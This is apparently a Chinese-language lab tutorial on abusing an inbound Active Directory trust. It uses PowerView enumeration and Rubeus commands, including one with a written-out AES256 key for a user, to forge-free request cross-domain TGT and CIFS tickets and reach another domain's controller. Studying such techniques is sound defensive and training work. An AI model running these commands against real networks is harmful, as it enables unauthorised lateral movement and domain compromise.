# 入口信任

入口信任，即目标域信任当前域，当前域可以访问目标域中的资源。要想从当前域移动到信任我们的目标域，我们有以下步骤需要完成：

#### **寻找外部组/成员。**

既然我们可以访问目标域中的资源，自然可以使用 PowerView 等工具对目标域进行枚举。让我们来查找目标域中包含域外用户的分组：

```powershell
Get-DomainForeignGroupMember -domain <目标域>
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/DPrV4XooIhuKe3fO-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/DPrV4XooIhuKe3fO-image.png)

我们发现 Raven-med 域中的 ExtAdmin 分组在 Med-factory 域中是 Administrators 组的外部成员，即 ExtAdmin 中的用户在 Med-factory 中具有域管理员特权。考虑到我们已经在 raven-med 域中获得了管理员权限，那么模仿任何 ExtAdmin 中的成员是简单的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/v24JF1RzRc8ikAD0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/v24JF1RzRc8ikAD0-image.png)

#### **请求跨域 TGT**

我们先为目标用户 michael 申请一张 TGT。

```
rubeus.exe asktgt /user:michael /domain:raven-med.local /aes256:8d71c60bd250034b4c5dec618bf951c82761d17e451f8d53ef26784b3c5c6e09 /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/vK7IAGERKDAfvfpw-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/vK7IAGERKDAfvfpw-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/NOiuOnbM7b9vSE8n-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/NOiuOnbM7b9vSE8n-image.png)

然后用这张 TGT 请求跨域 TGT：

```powershell
rubeus.exe asktgs /service:krbtgt/med-factory.local /domain:raven-med.local /dc:dc02.raven-med.local /ticket:<...> /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/QflsmoQoDIPJoPmR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/QflsmoQoDIPJoPmR-image.png)

#### **请求 TGS**

我们用这张跨域票据请求目标域中的 TGS，这里，我们请求的是 CIFS 服务的票据。

```powershell
rubeus.exe asktgs /service:cifs/dc03.med-factory.local /domain:med-factory.local /dc:dc03.med-factory.local /ticket:<...> /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2022-10/scaled-1680-/RiLKSW1qonznBNaV-image.png)](https://raven-medicine.com/uploads/images/gallery/2022-10/RiLKSW1qonznBNaV-image.png)

#### **访问资源**

创建一个牺牲会话，导入 TGS 票据，访问 Dc03 的资源。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/P1rh2YOAk64AyK9D-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/P1rh2YOAk64AyK9D-image.png)